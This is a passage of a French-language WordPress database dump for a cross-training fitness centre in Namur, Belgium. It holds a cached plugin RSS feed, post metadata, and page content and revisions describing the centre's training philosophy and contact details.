+0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:35:\&quot;59691@http://wordpress.org/plugins/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:52:\&quot;Adds a Panel to the Debug Bar for Timber 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Statistics\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:60:\&quot;http://wordpress.org/plugins/wp-parsi-statistics/#post-59625\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Sat, 19 Oct 2013 09:11:38 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Player\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:71:\&quot;http://wordpress.org/plugins/html5-videogallery-plus-player/#post-59802\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Thu, 24 Oct 2013 07:26:31 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:35:\&quot;59802@http://wordpress.org/plugins/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:95:\&quot;A quick, easy way to add responsive HTML5 Video gallery and Video player  to Wordpress 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Links\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:52:\&quot;http://wordpress.org/plugins/ram108-sape/#post-59732\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Tue, 22 Oct 2013 20:26:55 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:35:\&quot;59732@http://wordpress.org/plugins/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:96:\&quot;SAPE.RU: Adds widget and shortcode to integrate sape.ru contextual links for Russian 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Reguly\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:13;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n			\n			\n			\n			\n			\n			\n					\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:25:\&quot;Disable Automatic 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+0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:35:\&quot;59844@http://wordpress.org/plugins/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:95:\&quot;This plugin disables automatic updates feature in WordPress 3.7+, which is enabled by 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+0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:35:\&quot;59847@http://wordpress.org/plugins/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:85:\&quot;Enables background updates for major releases.  No settings, just activate and enjoy.\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:17:\&quot;Aaron D. Campbell\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}}}s:27:\&quot;http://www.w3.org/2005/Atom\&quot;;a:1:{s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:0:\&quot;\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:3:{s:4:\&quot;href\&quot;;s:41:\&quot;http://wordpress.org/plugins/rss/view/new\&quot;;s:3:\&quot;rel\&quot;;s:4:\&quot;self\&quot;;s:4:\&quot;type\&quot;;s:19:\&quot;application/rss+xml\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}}}}}}}}s:4:\&quot;type\&quot;;i:128;s:7:\&quot;headers\&quot;;a:7:{s:6:\&quot;server\&quot;;s:5:\&quot;nginx\&quot;;s:4:\&quot;date\&quot;;s:29:\&quot;Sun, 27 Oct 2013 14:21:39 GMT\&quot;;s:12:\&quot;content-type\&quot;;s:23:\&quot;text/xml; charset=UTF-8\&quot;;s:10:\&quot;connection\&quot;;s:5:\&quot;close\&quot;;s:4:\&quot;vary\&quot;;s:15:\&quot;Accept-Encoding\&quot;;s:13:\&quot;last-modified\&quot;;s:29:\&quot;Tue, 22 Oct 2013 13:54:01 GMT\&quot;;s:4:\&quot;x-nc\&quot;;s:11:\&quot;HIT lax 250\&quot;;}s:5:\&quot;build\&quot;;s:14:\&quot;20130523180038\&quot;;}', 'no'),
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-- --------------------------------------------------------

--
-- Structure de la table `www_postmeta`
--

CREATE TABLE `www_postmeta` (
  `meta_id` bigint(20) UNSIGNED NOT NULL,
  `post_id` bigint(20) UNSIGNED NOT NULL DEFAULT '0',
  `meta_key` varchar(255) DEFAULT NULL,
  `meta_value` longtext
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Déchargement des données de la table `www_postmeta`
--

INSERT INTO `www_postmeta` (`meta_id`, `post_id`, `meta_key`, `meta_value`) VALUES
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(7, 9, '_edit_last', '1'),
(8, 9, '_edit_lock', '1383471745:1'),
(9, 9, '_wp_page_template', 'default'),
(10, 11, '_edit_last', '1'),
(11, 11, '_edit_lock', '1383585762:1'),
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(1484, 388, '_wp_page_template', 's:24:\&quot;a:1:{i:0;s:7:\&quot;default\&quot;;}\&quot;;'),
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(1482, 388, '_edit_last', 's:18:\&quot;a:1:{i:0;s:1:\&quot;2\&quot;;}\&quot;;'),
(50, 20, '_edit_lock', '1383585801:1'),
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(1667, 426, '_edit_lock', 's:30:\&quot;a:1:{i:0;s:12:\&quot;1383472388:1\&quot;;}\&quot;;'),
(1666, 426, '_edit_last', 's:18:\&quot;a:1:{i:0;s:1:\&quot;1\&quot;;}\&quot;;'),
(49, 20, '_edit_last', '1'),
(31, 15, '_menu_item_type', 'post_type'),
(32, 15, '_menu_item_menu_item_parent', '0'),
(33, 15, '_menu_item_object_id', '5'),
(34, 15, '_menu_item_object', 'page'),
(35, 15, '_menu_item_target', ''),
(36, 15, '_menu_item_classes', 'a:1:{i:0;s:0:\&quot;\&quot;;}'),
(37, 15, '_menu_item_xfn', ''),
(38, 15, '_menu_item_url', ''),
(51, 20, '_wp_page_template', 'default'),
(40, 16, '_menu_item_type', 'custom'),
(41, 16, '_menu_item_menu_item_parent', '0'),
(42, 16, '_menu_item_object_id', '16'),
(43, 16, '_menu_item_object', 'custom'),
(44, 16, '_menu_item_target', ''),
(45, 16, '_menu_item_classes', 'a:1:{i:0;s:0:\&quot;\&quot;;}'),
(46, 16, '_menu_item_xfn', ''),
(47, 16, '_menu_item_url', 'http://www2.crosstrainingcenter.be/'),
(52, 22, '_edit_last', '1'),
(53, 22, '_edit_lock', '1383585395:1'),
(54, 22, '_wp_page_template', 'default'),
(55, 24, '_menu_item_type', 'post_type'),
(56, 24, '_menu_item_menu_item_parent', '0'),
(57, 24, '_menu_item_object_id', '22'),
(58, 24, '_menu_item_object', 'page'),
(59, 24, '_menu_item_target', ''),
(60, 24, '_menu_item_classes', 'a:1:{i:0;s:0:\&quot;\&quot;;}'),
(61, 24, '_menu_item_xfn', ''),
(62, 24, '_menu_item_url', ''),
(64, 25, '_menu_item_type', 'post_type'),
(65, 25, '_menu_item_menu_item_parent', '0'),
(66, 25, '_menu_item_object_id', '20'),
(67, 25, '_menu_item_object', 'page'),
(68, 25, '_menu_item_target', ''),
(69, 25, '_menu_item_classes', 'a:1:{i:0;s:0:\&quot;\&quot;;}'),
(70, 25, '_menu_item_xfn', ''),
(71, 25, '_menu_item_url', ''),
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(85, 68, '_wp_attached_file', '2013/06/trx1.jpg'),
(87, 70, '_wp_attached_file', '2013/06/kb.jpg'),
(88, 70, '_wp_attachment_metadata', 'a:5:{s:5:\&quot;width\&quot;;i:200;s:6:\&quot;height\&quot;;i:200;s:4:\&quot;file\&quot;;s:14:\&quot;2013/06/kb.jpg\&quot;;s:5:\&quot;sizes\&quot;;a:1:{s:9:\&quot;thumbnail\&quot;;a:4:{s:4:\&quot;file\&quot;;s:14:\&quot;kb-150x150.jpg\&quot;;s:5:\&quot;width\&quot;;i:150;s:6:\&quot;height\&quot;;i:150;s:9:\&quot;mime-type\&quot;;s:10:\&quot;image/jpeg\&quot;;}}s:10:\&quot;image_meta\&quot;;a:10:{s:8:\&quot;aperture\&quot;;i:0;s:6:\&quot;credit\&quot;;s:0:\&quot;\&quot;;s:6:\&quot;camera\&quot;;s:0:\&quot;\&quot;;s:7:\&quot;caption\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;created_timestamp\&quot;;i:0;s:9:\&quot;copyright\&quot;;s:0:\&quot;\&quot;;s:12:\&quot;focal_length\&quot;;i:0;s:3:\&quot;iso\&quot;;i:0;s:13:\&quot;shutter_speed\&quot;;i:0;s:5:\&quot;title\&quot;;s:0:\&quot;\&quot;;}}'),
(89, 72, '_wp_attached_file', '2013/06/vipr-f1.jpg'),
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(91, 75, '_wp_attached_file', '2013/06/ript.jpg'),
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-- --------------------------------------------------------

--
-- Structure de la table `www_posts`
--

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(1, 1, '2013-05-23 18:04:49', '2013-05-23 18:04:49', 'Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!', 'Hello world!', '', 'publish', 'open', 'open', '', 'hello-world', '', '', '2013-05-23 18:04:49', '2013-05-23 18:04:49', '', 0, 'http://www.crosstrainingcenter.be/?p=1', 0, 'post', '', 0),
(328, 1, '2013-07-10 15:47:50', '2013-07-10 15:47:50', '&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes prises de RDV pour les séances de\r\nTeam Training, Duo Training, Personnal\r\nTraining ou Coaching nutritionnel se\r\nfont exclusivement par téléphone.\r\n\r\n0485 / 92 . 02 . 12\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nBowling et Squash de Namur\r\nChaussée de Perwez 251\r\n&lt;em id=\&quot;__mceDel\&quot;&gt; 5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/em&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n&lt;small&gt;&lt;a style=\&quot;color: #0000ff; text-align: left;\&quot; href=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;source=embed\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-07-10 15:47:50', '2013-07-10 15:47:50', '', 9, 'http://www.crosstrainingcenter.be/9-revision-19/', 0, 'revision', '', 0),
(5, 1, '2013-05-23 18:12:51', '2013-05-23 18:12:51', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'une simple activité physique, le cross training center vous propose une approche unique faisant intervenir l\'alimentation et la gestion du stress, tout en vous proposant un entraînement de qualité.&lt;/h2&gt;\r\n&amp;nbsp;&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'publish', 'closed', 'open', '', 'notre-philosophie', '', '', '2013-11-04 16:47:48', '2013-11-04 16:47:48', '', 0, 'http://www.crosstrainingcenter.be/?page_id=5', 0, 'page', '', 0),
(6, 1, '2013-05-23 18:10:53', '2013-05-23 18:10:53', '', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-05-23 18:10:53', '2013-05-23 18:10:53', '', 5, 'http://www.crosstrainingcenter.be/?p=6', 0, 'revision', '', 0),
(35, 1, '2013-08-23 08:48:48', '2013-08-23 08:48:48', '&lt;blockquote&gt;\n&lt;h2&gt;Bien plus qu\'une simple activité physique, le cross training center de Namur vous propose une approche unique faisant intervenir l\'alimentation et la gestion du stress, tout en vous proposant un entraînement de qualité.&lt;/h2&gt;\n&amp;nbsp;&lt;/blockquote&gt;\n&lt;div class=\&quot;arrondi\&quot;&gt;\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr&gt;\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;/div&gt;\n&amp;nbsp;\n&lt;div class=\&quot;arrondi\&quot;&gt;\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr&gt;\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\n\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\n\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\n\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-autosave-v1', '', '', '2013-08-23 08:48:48', '2013-08-23 08:48:48', '', 5, 'http://www.crosstrainingcenter.be/?p=35', 0, 'revision', '', 0),
(36, 1, '2013-06-13 16:24:45', '2013-06-13 16:24:45', 'Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle, en privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis. Ce dosage subtil définit la qualité de l\'entraînement. Ces 3 buts sont :\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;PREVENIR&lt;/b&gt; – &lt;b&gt;AMELIORER&lt;/b&gt; – &lt;b&gt;RECUPERER&lt;/b&gt;.&lt;/p&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-13 16:24:45', '2013-06-13 16:24:45', '', 5, 'http://www.crosstrainingcenter.be/?p=36', 0, 'revision', '', 0),
(37, 1, '2013-05-24 14:36:30', '2013-05-24 14:36:30', '&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. 